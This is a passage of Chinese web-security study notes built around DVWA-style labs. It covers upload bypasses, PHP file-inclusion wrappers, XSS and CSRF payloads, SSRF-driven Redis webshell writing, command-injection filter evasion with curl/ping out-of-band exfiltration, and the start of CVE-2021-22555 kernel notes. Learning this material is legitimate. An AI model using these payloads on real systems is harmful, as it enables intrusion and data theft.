GET/POST/CONNECT等等

GET:没有请求数据的部分,在URL中传输数据,由于URL长度限制,所以传输的数据也是有限制的。

POST:在请求数据部分进行数据传输,长度基本没有什么限制,注意设置Content-TypeContent-Length

(2)响应报文

描述服务器端的一些信息

①结构

  • Data:请求发送的时间和日期,GMT时间

  • Server:告诉客户端服务器的名称和版本号

  • Content-Type:响应正文的MIME类型

  • Content-Length:响应正文的长度

  • Connection:告诉客户端完成相应后的连接状态

  • Content-Encoding:Web服务器告诉浏览器数据传输使用了那种压缩方法

  • Last-Modified:实体报头域用于指示资源最后的修改日期和时间

  • 状态码:

    image-20220530143957584

    • 200:请求成功
    • 1XX:服务器收到请求,需要请求者继续执行操作
    • 2XX:成功
    • 3XX:重定向,需要进一步的操作用以完成请求。类似需要登录
    • 4XX:客户端错误,请求包含语法错误或者无法完成请求
    • 5XX:服务器端错误,服务器在处理请求的过程中发生了错误

等等,还有一些其他的

协议HTTPS

HTTP下加入了SSL/TLS层,通过安全机制进行传输数据。握手过程是明文传输,来建立HTTPS连接

image-20220530144221805

会话

利用cookie(客户端)和session(服务端)来进行保存会话状态,比如记住密码

客户端第一次发送数据给服务端时没有Cookie,服务器收到请求后,创建Session,之后通过Set-Cookie字段把Session IDCookie的形式告诉客户端。以后每次请求发送该Cookie到服务器,服务器即可识别。

image-20220530145435543

关于Webshell

一个服务器权限

身份认证

通常爆破

(1)常见认证

Burpsuite中的Intruder模块有很多选项

可以设置需要爆破的地方,爆破方式,编码方式,爆破字典,是否跳转(状态码为302)等等

(2)Basic认证

常见admin:passwd等,关键词为:Authorization:Basic [xxxx],其中xxxx即为admin:passwd的相关编码,这个可以在Intruder->Payloads->Payload type选择Custom iterator。之后在Payload Options [Simple list]中设置下不同的字典即可,即自定义一个字段的不同位置数据的迭代爆破。

  • 设置方式

image-20220530192510353

  • 设置字典

    • 用户密码image-20220530192504191

    • 中间冒号

      image-20220530192534539

    • 字典

      image-20220530192702136

  • 设置编码

    image-20220530192746452

  • 取消特殊字符,这里即为=url编码

    image-20220530192817488

文件上传

(1)验证漏洞

  • 客户端JavaScript验证

    当发现不是从服务器返回的验证不通过信息,就可能是客户端本身的JavaScript进行了验证,那么就可以在Burpsuite发包的过程对文件进行修改,比如改掉文件名称等。

    或者直接修改本地网页中的JavaScript代码,或者使用插件禁用掉JavaScript代码脚本

  • 服务端验证

    • MIME限制:常见的服务器对Content-Type进行解析限制

    • 文件内容验证:通常验证文件头,可以修改其文件头,或者将一句话木马放入到对应的文件内容最后

      JPG:FF D8 FF E0 00 10 4A 46 49 46

      GIF:47 49 46 38 39 61(GIF89a)

      PNG:89 50 4E 47

    • 文件扩展名验证:验证文件的后缀,黑名单白名单之类的

      • 大小写绕过(Windows下大小写不敏感)

      • windows下的文件名后缀不规范(或者某些特殊字符)会被改掉,比如test.php....会被修改为test.php,但是这样就可以绕过验证了,实际还是执行的php文件。

        image-20220530212508036

        image-20220530212656016

      • 如果只是替换后缀名,那么可以进行拓展后缀名绕过,比如phphpp

      • %00截断绕过:保存文件时可能会将文件名和目录进行拼接,那么就可以绕过(PHP<5.3.34)

      • 特殊可解析后缀绕过:

        在某些环境(比如基于ubuntuapt-get按照的apache)中,会将某些特殊的文件名后缀当作某一类文件进行解析,比如php3会被当作php解析

        可能是开发的时候历史遗留问题把

        image-20220530205111015

    • Apache.htaccess绕过

      Apache里面有一个配置文件,xx.htacess可以用来写入Apache配置信息,用来改变当前目录以及子目录下的Apache的配置信息。

      需要如下条件:

      • 运行.htaccess生效

      • Apache开启rewrite模块

      • Apache配置文件为AllowOverride All(默认为None

      那么就可以尝试上传该文件

      1
      2
      3
      <FilesMatch "sec.jpg">
      SetHandler application/x-httpd-php
      </FilesMatch>

      之后当前配置下生效的地方,sec.jpg即可被解析为php

(2)服务器解析漏洞

  • Apache解析漏洞

    从右往左解析,abc.php.ccc.aaa会被当作abc.php来进行解析(某些版本)

  • IIS6.0解析漏洞(windows的中间件)

    image-20220530213952989

  • Nginx解析漏洞

    image-20220530214053524

c0ny1/upload-labs: 一个想帮你总结所有类型的上传漏洞的靶场 (github.com)

文件下载

(1)利用

过滤规则不好,可以下载任意文件

  • 获取站点源码
  • 获取站点与中间件配置文件
  • 获取应用与系统的配置文件

image-20220601104430476

可利用的相关配置文件

  • Windows平台

    image-20220601105607099

  • Linux平台

    image-20220601105623772

(2)防御

  • 文件保存到数据库,依据ID进行下载
  • 参数过滤,不能目录穿越

文件包含

includerequire相关函数,将用户指定的文件包含进来。那么如果该文件中有php代码,则会被执行,其他的字符,则会被输出。不受到相关文件后缀,文件头之类的限制。

(1)函数解析

  • include:包含过程中如果出现错误,只会生成警告(E_WARNING),在include函数后面的代码还是会正常被执行
  • require:包含过程中如果出现错误,会生成致命错误(E_COMPILE_ERROR)并且停止脚本运行,之后的代码都不包会被运行。
  • include_oncerequire_once两个函数,如果文件已经包含,则不会再次被包含,防止相关函数重定义或者变量重新赋值。

(2)漏洞利用

通过PHP函数引入文件时,如果对文件名没有限制或者合理的验证,很容易执行到相关的漏洞php代码或者文件信息泄露。

1
2
3
4
<?php
$file = $_GET["file"];
include $file;
?>

①本地文件包含

即包含服务器本身的文件。

1
127.0.0.1/index.php?file=test.txt

②远程文件包含

利用URL,使得网络中的可访问文件被包含,不过需要在php.ini中开启如下配置项

1
2
allow_url_fopen = on(默认开启)
allow_url_include = on(php5.2以后默认关闭)

如下

1
127.0.0.1/index.php?file=www.baidu.com

(3)其他利用方式

①包含日志文件

  • 利用原理

输入URL时,输入相关的php代码使之报错,随即就会将相关的报错信息输入到log中,那么就可以将php的相关代码输入到日志中,那么我们包含该日志就会执行到该代码。

1
127.0.0.1/index.php?file=<?php phpinfo(); ?>

image-20220601174400213

  • 利用条件:

    • 日志文件可读
    • 知道日志文件的存储目录
  • 常见的日志文件目录:

    image-20220601174509112

并且一般情况下日志存储目录会被修改,需要读取服务器的相关配置文件(httpd.conf,nginx.conf等),或者依据phpinfo()来获取。

相关的日志信息也可以被调整,限制。

②包含Session

  • 条件:

    • Session中存在可控变量

    • Session文件可以读写,并且知道存储路径

  • 默认存储路径:

    image-20220601203337176

相关的index.php如下

1
2
3
4
5
6
<?php
session_start();
$username = @$_GET['username'];
$_SESSION['username'] = $username;
highlight_file(__FILE__);
?>

输入username会记录Session,以序列化的形式存在,可以在php.ini中找到相关的保存路径

image-20220601202513684

那么访问即可获得Session

image-20220601202712181

这样就可以尝试将该文件使用文件包含的形式来执行代码。

(4)伪协议

使用伪协议可以访问PHP的相关文件描述符,从而进行读取解析文件。

①使用例子

比如有时候直接文件包含不能够打印结果,比如说某个test.php,内容如下

1
2
3
4
<?php
echo "aaaa";
//flag{cccc}
?>

那么当include文件包含进入之后,解析PHP代码,只会输出aaaa,而不会输出flag{cccc}的内容,这时候就需要用到伪协议php://filert来将文件流包含进来,这样就会打印出test.php文件了

image-20220601210615644

使用伪协议:

1
php://filter/read=convert.base64-encode/resource=index.php

image-20220601210629504

Burpsuite解码

image-20220601210654804

②各种伪协议

  • php://filter

    通常用来读取文件

    • php.ini

      1
      2
      allow_url_fopen=off/on
      allow_url_include=off/on
    • POC

      1
      ?file=php://filter/read=convert.base64-encode/resource=test.php
  • php://input

    POST请求的相关数据当作一个文件流输入进去,配合文件包含通常可以执行任意命令。

    • php.ini

      1
      2
      allow_url_fopen=off/on
      allow_url_include=on
    • POC

      1
      2
      ?file=php://input
      [POST DATA]<?php phpinfo(); ?>
  • zip://

    访问压缩包里的文件,访问到的文件结合文件包含函数就会被当作php文件执行,从而实现任意代码执行。

    • php.ini

      1
      2
      3
      allow_url_fopen=off/on
      allow_url_include=off/on
      php >= 5.2

      需要注意的是只要是压缩包即可,后缀名无所谓。相同类型的还要zlib://bzip2://

    • POC

      #需要进行URL编码

      1
      2
      zip://[压缩包绝对路径]#[压缩包内文件]
      ?file=zip://D:\phpstudy_pro\WWW\test.zip%23test.php
  • phar://

    phar是用来打包生成php项目用的,可以用相关协议进行解析,其中涉及到很多东西,比较常见的就是zip打包访问以及序列化、反序列的东西。

    类似zip://,可以访问zip中的文件,并且相对路径和绝对路径都可以。

    • php.ini

      1
      2
      3
      allow_url_fopen=off/on
      allow_url_include=off/on
      php >= 5.3
    • POC

      1
      2
      ?file=phar://zip.jpg/phpinfo.txt
      ?file=phar://D:\zip.jpg\phpinfo.txt
  • data://

    类似于php://input,让用户控制文件的输入流。

    • php.ini

      1
      2
      3
      allow_url_fopen=on
      allow_url_include=on
      php >= 5.2
    • POC

      1
      2
      3
      4
      5
      6
      data://[<MIME-type>][;charset=<encoding>][;base64],<data>
      ?file=data://,<?php phpinfo();
      ?file=data://text/plain,<?php phpinfo();
      ?file=data://text/plain;base64,[content]
      ?file=data:text/plain,<?php phpinfo();
      ?file=data:text/plain;base64,[content]

(5)防御

  • allow_url_includeallow_url_fopen最小权限化
  • 设置open_basedirphp所能打开的文件限制在指定的目录树中
  • 白名单限制包含文件,或者严格过滤./\

漏洞SQL注入

了解基本原理,各种利用方式,盲注,时间盲注,布尔盲注,堆叠注入之类的,也差不多会,但是种类太多啦。而且感觉这种类型,工具比实际的感觉会好用一些。此外由于现今数据库很多都开始使用模型来获取制造SQL语句,很难利用了,所以笔记就没有怎么记录。

漏洞XSS

跨站脚本(Cross Site Scripting)攻击,为了不和CSS产生歧义,所以缩写为XSS

攻击者可以在页面插入恶意脚本(JavaScript)代码,受害者访问页面时,浏览器解析执行这些恶意代码,从而达到窃取用户身份/钓鱼/传播恶意代码等行为。

XSS即注入HTML代码

(1)种类

①存储型

较为持久,一般在留言板、用户发帖、用户回帖的版块中,一般类似如下三步:

  • 插入留言:恶意代码数据存储到数据库中
  • 查看留言:恶意代码数据从数据库中提取出来
  • 内容在页面显示

DVWALow Security版本代码如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
<?php

if( isset( $_POST[ 'btnSign' ] ) ) {
// Get input
$message = trim( $_POST[ 'mtxMessage' ] );
$name = trim( $_POST[ 'txtName' ] );

// Sanitize message input
//基本没有过滤
$message = stripslashes( $message );
$message = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $message ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));

// Sanitize name input
$name = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $name ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));

// Update database
//插入到数据库中
$query = "INSERT INTO guestbook ( comment, name ) VALUES ( '$message', '$name' );";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );

//mysql_close();
}

?>

那么就直接将恶意代码插入了数据库,不同的DVWA Security如下

image-20220609104504618

之后在解析的时候

没有过滤的直接解析为HTML代码

image-20220609104554318

过滤的信息被解析为相关的字符串

image-20220609104633495

②反射型

插入的数据不存储和读取数据库,直接回显到页面上,通常需要诱导用户去点击触发漏洞的地方。

DVWALow Security版本代码如下

1
2
3
4
5
6
7
8
9
10
11
12

<?php

header ("X-XSS-Protection: 0");

// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
// Feedback for end user
//获取输入然后拼接字符串直接作为HTML代码输出
echo '<pre>Hello ' . $_GET[ 'name' ] . '</pre>';
}
?>

浏览器中解析如下所示

image-20220609105153708

③DOM型

比较少见,通过修改页面中的DOM节点,与客户端上的JavaScript进行交互,不会与服务端进行交互,通常是document.write函数

1
2
3
4
5
6
7

if (document.location.href.indexOf("default=") >= 0) {
var lang = document.location.href.substring(document.location.href.indexOf("default=")+8);
//直接获取并且拼接,然后就document.write来写到整个HTML页面中
document.write("<option value='" + lang + "'>" + decodeURI(lang) + "</option>");
document.write("<option value='' disabled='disabled'>----</option>");
}

没有写入其他的如下

image-20220609140222567

当从URL加入其他的拼接字符,其结构点发生变化,写入了我们的JS代码

image-20220609140308956

(2)危害攻击

  • 钓鱼,可以伪造登录框和页面
  • Cookie盗取
  • 获取IP
  • 站点重定向
  • BOM/DOM的操作
  • 获取客户端的页面信息,比如窃取邮件内容
  • XSS蠕虫,可以自我传播

(3)挖掘

输入输出点,有的转义、过滤、消毒的等需要处理

(4)触发漏洞

  • script标签插入

    1
    <script>alert(1)</script>
  • 在事件中插入

    1
    <IMG src=x onerror=javascript:alert(1);>

    在该方式下,src读取不到资源,就会触发后面的javascript代码,即alert(1)

  • 在协议中插入

    1
    <a href="javascript:alert(1);">点此查看链接</a>

    点击这里就会跳转href中进行执行javascript代码

  • 等等

▲XSS的Payload大全:

Cross-Site Scripting (XSS) Cheat Sheet - 2022 Edition | Web Security Academy (portswigger.net)

▲XSS的题目大全

alert(1) (haozi.me)

(5)XSS攻击平台

firesunCN/BlueLotus_XSSReceiver (github.com),这个通常用来自定义payload,然后进行上线

Kali下的Beef,有很多的模块,社工弹窗等,还挺全

Cookie盗取

使用beefhook.js使得客户端执行恶意的JS代码后,会在beef中收到一些信息,其中就可以提取相关网站的cookie,之后使用无痕模式,将CookieF12->App->Cookie->对应网站下,修改填入相关盗取的Cookie即可

image-20220609173011737

(6)防御

①代码防御

在服务器的输入输出处理的时候使用过滤、编码、转移之类的,或者HttpOnly头来禁止JS代码读取Cookie

②安全设备

WAFIDS

③控制客户端输入规则

检测相关的输入

漏洞CSRF

CSRF(Cross Site Request Forgery),跨站点伪造请求。即攻击者在用户已经登录目标网站之后,诱导用户访问一个攻击者制造的攻击页面,利用用户身份对目标网站发起伪造用户身份操作的请求,相当于伪造用户。这个过程中没有盗取Cookie而是直接利用用户的Cookie来达到伪造用户身份的目的。

image-20220610150042385

(1)种类

GET型

  • 无保护情况

    当只需要进行URL提交即可完成功能,即只需要GET请求就能完成时。

    如下,只是利用该URL传入参数,结合Cookie即可完成修改密码操作的时候。

    1
    http://127.0.0.1/DVWA/vulnerabilities/csrf/?password_new=123&password_conf=123&Change=Change#

    这种情况就直接伪造一个链接,诱导用户点击该链接,从而触发一个目标网站

  • Referer

    Medium版本下的加了一行代码

    1
    if( stripos( $_SERVER[ 'HTTP_REFERER' ] ,$_SERVER[ 'SERVER_NAME' ]) !== false )

    即检测Referer是否是服务器本身,SERVER_NAME表示运行脚本所在服务器的主机名。(如果只是浏览器输入URL访问的话,其Referer字段为空,链接的话则不会,会保存来源网站)

    所以这里我们就需要进行抓包伪造Referer字段。

  • token

    High版本下添加了

    1
    2
    3
    4
    checkToken( $token, $_SESSION[ 'session_token' ], 'index.php' );
    //......
    // Generate Anti-CSRF token
    generateSessionToken();

    会检测用户传入的token,这是一个随机值,每次网站检测完之后会重新生成,然后将新的token发还给用户。

    通常这种情况需要结合其他漏洞,比如XSS来获取相关的token值,即变成了XSRF

    1
    <iframe src="../csrf" onload=alert(frames[0].document.getElementsByName(' user. token')[0].value

    即加载当前的csrf这个界面时,会弹出token值。当然,结合其他的手法可以直接获取token然后来伪造链接。

POST型

需要构造POC,在Burp suite中可以右键->Engagement tools->Generate CSRF Poc,这样可以生成一个form表单形式来发生POST请求,对应修改相关字段即可。

1
2
3
4
5
6
7
8
9
10
11
12
<html>
<!-- CSRF PoC - generated by Burp Suite Professional -->
<body>
<script>history.pushState('', '', '/')</script>
<form action="https://www.baidu.com/">
<input type="hidden" name="username" value="PIG-007" />
</form>
<script>
document.forms[0].submit();
; </script>
</body>
</html>

在添加input标签,然后添加对应需要的值即可

(2)利用

通常组合拳形式来XSRF

image-20220610155923179

(3)防御

  • 验证Referertoken
  • HTTP头部加入自定义属性验证
  • 高危操作加入验证码
  • 等等

漏洞SSRF

SSRFServer-side Request Forgery)服务端请求伪造

比较常用的就是可以让服务器的相关敏感参数受到我们的控制,比如说我们可以传入一个URL让服务器去爬取,这个URL就是比较敏感的参数。

这样就可以绕过服务器的防火墙了。

(1)可能存在的SSRF

①功能服务

以下的就可能存在SSRF漏洞

  • 请求远端资源
  • 在线翻译
  • 数据库内置功能
  • 编码服务(?api=xxxx)
  • URL网址调用
  • 邮箱邮件

②关键参数

share、target、wap、url、sourceURL、imageURL、source、domain

③关键函数

  • PHP
    • file_get_contents()
    • fsockopen()
    • curl_exec()
    • fopen()
  • Python
    • urllibhttp头注入
    • requests库中默认跟随30x跳转

(2)利用

①相关协议

  • file:访问本地文件的协议

  • http

  • dict:字典服务器协议,基于查询响应的TCP协议。查询目标服务端口,需要服务具备TCP回显功能

    image-20220612113058963

    常见如下:

    • http:80
    • https:433
    • ftp:20/21
    • mysql:3306
    • telnet:23
    • dns:53
    • dhcp:67/68
    • sshd:22
    • nginx:80
    • tomcat:8080
    • sql server:1433
    • oracle:1521
    • smtp:25
    • redis:6379
  • gopher:在HTTP协议之前的,在Internet上常见的协议,支持多行,常用来攻击内网。

②获取敏感文件

  • Windows

    • C:/windows/win.ini:保存系统配置文件
  • Linux

    • file:///etc/passwd:获取账号密码

    • file:///etc/hosts:本网段的内网IP

      image-20220612112056049

      之后可以进行内网探测

③内网横向探测-WEB

A.首先获取内网IP

使用file协议:file:///etc/hosts,但是在虚拟机里不知道怎么获取到对应的docker的IP

这里假设本地搭建的虚拟机里面,docker和本虚拟机组成的一个子网

image-20220612113904560

即子网中其他的docker的IP就是172.17.0.x

B.信息收集

爆破子网存活主机及端口

BurpSuite中将包发到Intruder,然后添加$进行重放,由于是需要爆破多个位置,那么就使用Clusterbomb模式

image-20220612120816854

之后在Payload上进行设置两个位置的爆破数值

第一个

image-20220612120947874

第二个

image-20220612121049196

开始攻击之后得到结果,依据对应的内容和长度来判断是否存在相关的服务

image-20220612121321908

C.内网穿透

利用gopher协议来利用构造两个数据包

  • 首先将第一个爬虫数据包抓取放到Repeater

③内网横向探测-Redis-未授权

A.dict协议测试
1
dict://172.17.0.2:6379/

返回如下OK即代表未授权即可访问,即没有密码

image-20220612174542324

如果需要密码访问即如下

image-20220612175006529

B.写入木马
1
2
3
4
5
dict://172.17.0.2:6379/flushall
dict://172.17.0.2:6379/config set dir /var/www (网址根目录)
dict://172.17.0.2:6379/config set dbfilename ssrf.php
dict://172.17.0.2:6379/set webshell "<?php phpinfo(); ?>"
dict://172.17.0.2:6379/save

XXE

命令执行

(1)常用函数

eval()函数

1
mixed eval(string $code);

把字符串code当作PHP执行

  • 代码不能包含打开/关闭PHP tags,比如不能传入<?php echo "Hi"; ?>。但是可以利用闭合形式来关闭PHP再重新打开。比如

    1
    echo "In PHP mode!"; ?> In HTML mode!<?php echo "Back in PHP mode!";
  • 传入的必须是有效的PHP代码,并且以分号;来进行语句分割,没有正常分割的话会导致一个parse error

assert函数

1
bool assert(mixed $assertion[,string $description])

PHP中用来判断一个表达式是否成立,返回布尔值。

如果assertion为字符串,那么它会被assert()当作PHP代码来执行。

preg_replace函数

1
mixed preg_replace(mixed $pattern,mixed $replacement,mixed $subject[,int $limit = -1[,int &$count]])

对字符串进行正则处理。搜索subject中匹配pattern的部分,以replacement来进行替换。当$pattern参数中存在/e修饰符时,$replacement的值会被当作PHP代码执行。

  • PHP5.5.0开始,传入\e修饰符会产生E_DEPRECATED错误,但是还是可以生效。而PHP7.0.0开始,会产生E_WARNINIG错误,同时\e无法生效

如下代码,传入_=phpinfo();即可触发phpinfo函数

1
echo preg_replace('/\s/e',$_POST[_],$str);

④调用函数过滤不当

通常用在框架中,小程序很少

call_user_func()、call_user_func_array()、array_map()等几十个函数都可以调用其他函数的功能,其中第一个参数为调用的函数名称,如果这个函数名称可控,那么就可以调用任意函数。

1
mixed call_user_func(callable $callback[,mixed $paramenter[,mixed $....]])

如下代码所示,传入_assert即可

1
call_user_func($_POST[_],'phpinfo()');

⑤动态函数执行

可拼接字符串当作函数

1
2
$a = 'a'.'s'.'s'.'e'.'r'.'t';
$a('phpinfo()');

或者

1
$_GET['a']($_POST[_]);

那么传入a=assert_=phpinfo();即可,但是不能传递eval

⑥可用执行命令漏洞函数

  • string system(string $command[,int &$return_var])

    函数执行command参数所指定的命令,并且输出执行结果

  • string exec(string $command[,array &$output[,int &$return_var]])

    执行command指定的命令

  • string shell_exec(string $cmd)

    通过shell环境执行命令,将完整的输出以字符串形式返回。

  • void passthru(string $command[,int &$return_var])

    执行外部程序并且显示原始的输出

  • ``反引号

    利用ls,会被当作系统命令执行,其实就是shell_exec()函数进行处理。

  • void pcntl_exec(string $path[,array $args[,array $envs]])

    多进程处理扩展,需要额外进行安装才行。

  • resource popen(string $command,string $mode)

    打开一个指向进程的管道,该进程由给定的command命令产生。

  • resource proc_open(string $cmd,array $descriptorspec,array &$pipes[,string $cwd[,array $env[,array $other_options]]])

    更强大一些,但是需要指定更多的参数

  • bool ob_start([callback $output_callback[,int $chunk_size[,bool $erase]]])

    控制输出缓冲的,相当于另外开辟一片缓冲区,可通过ob_end_flush来输出缓冲区

    可选参数$output_callback被指定后,ob_flush/ob_clean或者类似的函数进行刷新时,会调用该回调函数,并且调用时输出缓冲区的内容会被当作参数去执行,并且返回一个新的缓冲区作为结果。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
system('whoami');
echo exec('whoami');
echo shell_exec('whoami');
passthru('whoami');
echo `whoami`;
pcntl_exec("/bin/bash",array('whoami'));

popen('whoami >> 123.txt','r');
echo file_get_contents('1.txt');

$descriptorspec = array(
0=>array("pipe","r")),
1=>array("pipe","w")),
2=>array("pipe","a"));
//控制标准输入输出和错误输出
proc_open("whoami >> 1.txt",$descriptorspec,$pipes);
echo file_get_contents("1.txt");

$cmd = 'system';
ob_start($cmd);
echo "$_GET[a]";
ob_end_flush();//会输出缓冲区内容
//传入为whoami即可执行命令

(2)绕过

  • 命令方面

&|;&&||之类的

  • 空格绕过

    • IFS,为shell的内置变量,用于分割字段,默认值为空(可当作空格、tab、换行)。

      1
      cat${IFS}text
    • {}

      1
      {cat,text}
    • tab

      1
      cat%09text
    • 重定向

      1
      cat<text
  • 黑名单绕过

    • 拼接

      1
      a=c;b=at;c=tex;d=t;$a$b ${c}${d}
    • 使用环境变量

      1
      2
      3
      echo ${SHELLOPTS}
      echo ${SHELLOPTS:3:1}
      {SHELLOPTS:3:1}at${IFS}text

      image-20220613112926445

    • 使用空变量

      1
      cat t{x}ext
    • 使用通配符

      1
      /bin/ca? tex?

      image-20220613113027598

    • 使用反斜杠

      1
      ca\t tex\t

      image-20220613113106132

    • base64编码

      1
      2
      echo t|base64
      ca$(echo "dAo="|base -d) text

      image-20220613113225371

  • 无回显绕过

    • 使用HTTP通道带出数据

      1
      curl host/`whoami`

      image-20220613114812865

    • 使用DNS通道带出数据

      一样的

      1
      ping `whoami`.host
    • 编码

      1
      curl hosts/$(whoami|base64)

(3)防御

正则表达式白名单、过滤

漏洞JAVA反序列化

从数据对象反序列化成内存对象的过程,主要是各种链子,有点困难,需要后续慢慢研究。

CVE-2021-22555

环境搭建

参考文章:

CVE-2021-22555 2字节堆溢出写0漏洞提权分析 - 安全客,安全资讯平台 (anquanke.com)

或者我写的菜鸡项目:

KernelAll

🔺注:

注意的是,在我写的项目里的CVE环境中,去掉了配置:CONFIG_SECURITY=n,原因是在load_msg()函数中申请msg_msg结构体时,如下所示,会调用到security_msg_msg_alloc()函数,给msg_msg结构体中的security指针赋值,导致下面漏洞利用时读取伪造msg_msg结构体由于检测security导致出错。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
//v5.11.14 /ipc/msgutil.c
struct msg_msg *load_msg(const void __user *src, size_t len)
{
struct msg_msg *msg;
struct msg_msgseg *seg;
int err = -EFAULT;
size_t alen;

msg = alloc_msg(len);
//....
err = security_msg_msg_alloc(msg);
if (err)
goto out_err;
return msg;
out_err:
free_msg(msg);
return ERR_PTR(err);
}

而去掉了配置:CONFIG_SECURITY=n,可以不用security指针,这样就不会出错了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
//v5.11.14 /include/linux/security.h
#ifdef CONFIG_SECURITY
//.....
int security_msg_msg_alloc(struct msg_msg *msg);
void security_msg_msg_free(struct msg_msg *msg);
int security_msg_queue_alloc(struct kern_ipc_perm *msq);
void security_msg_queue_free(struct kern_ipc_perm *msq);
int security_msg_queue_associate(struct kern_ipc_perm *msq, int msqflg);
int security_msg_queue_msgctl(struct kern_ipc_perm *msq, int cmd);
int security_msg_queue_msgsnd(struct kern_ipc_perm *msq,
struct msg_msg *msg, int msqflg);
int security_msg_queue_msgrcv(struct kern_ipc_perm *msq, struct msg_msg *msg,
struct task_struct *target, long type, int mode);
//....
#else /* CONFIG_SECURITY */
//....
static inline int security_msg_msg_alloc(struct msg_msg *msg){return 0;}
static inline void security_msg_msg_free(struct msg_msg *msg){ }

static inline int security_msg_queue_alloc(struct kern_ipc_perm *msq){return 0;}

static inline void security_msg_queue_free(struct kern_ipc_perm *msq){ }

static inline int security_msg_queue_associate(struct kern_ipc_perm *msq,
int msqflg){return 0;}

static inline int security_msg_queue_msgctl(struct kern_ipc_perm *msq, int cmd){return 0;}

static inline int security_msg_queue_msgsnd(struct kern_ipc_perm *msq,
struct msg_msg *msg, int msqflg){return 0;}

static inline int security_msg_queue_msgrcv(struct kern_ipc_perm *msq,
struct msg_msg *msg,
struct task_struct *target,
long type, int mode){return 0;}
//....
#endif /* CONFIG_SECURITY */

但是在bsauce师傅提供的环境中有添加该配置,而security指针的值却还是为空。简单看了一下源码,如下函数链

1
load_msg()->security_msg_msg_alloc()->lsm_msg_msg_alloc()

对于lsm_msg_msg_alloc()函数如下定义

1
2
3
4
5
6
7
8
9
10
11
12
static int lsm_msg_msg_alloc(struct msg_msg *mp)
{
if (blob_sizes.lbs_msg_msg == 0) {
mp->security = NULL;
return 0;
}

mp->security = kzalloc(blob_sizes.lbs_msg_msg, GFP_KERNEL);
if (mp->security == NULL)
return -ENOMEM;
return 0;
}

可以看到这里进行相关赋值,如果满足blob_sizes.lbs_msg_msg == 0那么其security指针为空,后续检测时也依据此判断不检测。而对于这个blob_sizes.lbs_msg_msg不是很熟悉,可能是我的相关配置问题吧。这里为了方便,我就直接将这个配置去掉了。

此外经过实际测试,源码也可以看出来,其实security也就是一个堆地址(以0x8递增),是不断变化的,但是如果能泄露出其中一个,那么后续检测就能都通过了。

前置知识

完成这个漏洞的利用还是需要一些前置知识的,刚好利用这个漏洞重新完善一下相关的知识点。

1.msg_msg结构体—kmalloc-16至kmalloc-1024

这个在之前也总结过,不过总结得有些错误,也不太完善,这里再好好总结一下

参照:【NOTES.0x08】Linux Kernel Pwn IV:通用结构体与技巧 - arttnba3’s blog

Linux内核中利用msg_msg结构实现任意地址读写 - 安全客,安全资讯平台 (anquanke.com)

Linux的进程间通信 - 消息队列 · Poor Zorro’s Linux Book (gitbooks.io)

《Linux系统编程手册》

虽然写的是最大kmalloc-1024,但是在堆喷时,可以连续kmalloc(1024)从而获得连续的堆内存分布,这样都释放掉之后再经过回收机制就可以申请到更大的kmallo-xx了。

(1)使用方法

①创建

  • 首先创建queue_id管理标志,对应于内核空间的msg_queue管理结构

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    //key要么使用ftok()算法生成,要么指定为IPC_PRIVATE
    //代表着该消息队列在内核中唯一的标识符
    //使用IPC_PRIVATE会生成全新的消息队列IPC对象
    int32_t make_queue(key_t key, int msg_flag)
    {
    int32_t result;
    if ((result = msgget(key, msg_flag)) == -1)
    {
    perror("msgget failure");
    exit(-1);
    }
    return result;
    }

    int queue_id = make_queue(IPC_PRIVATE, 0666 | IPC_CREAT);

    使用简单封装的msgget函数或者系统调用号__NR_msgget,之后保存数据的消息就会在这个queue_id管理标志,以及内核空间的msg_queue管理结构下进行创建

②数据传输

  • 写入消息:

    然后就可以依据queue_id写入消息了,不同于pipesocketpair,这个需要特定的封装函数(msgsnd/msgrcv)或者对应的系统调用(__NR_msgrcv/__NR_msgsnd)来实现。

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    typedef struct
    {
    long mtype;
    char mtext[1];
    }msgp;

    //msg_buf实际上为msgp,里面包含mtype,这个mtype在后面的堆块构造中很有用
    void send_msg(int msg_queue_id, void *msg_buf, size_t msg_size, int msg_flag)
    {
    if (msgsnd(msg_queue_id, msg_buf, msg_size, msg_flag) == -1)
    {
    perror("msgsend failure");
    exit(-1);
    }
    return;
    }

    char queue_send_buf[0x2000];
    m_ts_size = 0x400-0x30;//任意指定
    msg *message = (msg *)queue_send_buf;
    message->mtype = 0;
    send_msg(queue_id, message, m_ts_size, 0);
  • 读取消息:

    之后即可依据queue_id读取消息

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    void get_msg(int msg_queue_id, void *msg_buf, size_t msg_size, long msgtyp, int msg_flag)
    {
    if (msgrcv(msg_queue_id, msg_buf, msg_size, msgtyp, msg_flag) < 0)
    {
    perror("msgrcv");
    exit(-1);
    }
    return;
    }

    char queue_recv_buf[0x2000];
    m_ts_size = 0x400-0x30;//任意指定
    get_msg(queue_id, queue_recv_buf, m_ts_size, 0, IPC_NOWAIT | MSG_COPY);
  • mtype

    可通过设置该值来实现不同顺序的消息读取,在之后的堆块构造中很有用

    • 在写入消息时,指定mtype,后续接收消息时可以依据此mtype来进行非顺序接收
    • 在读取消息时,指定msgtyp,分为如下情况
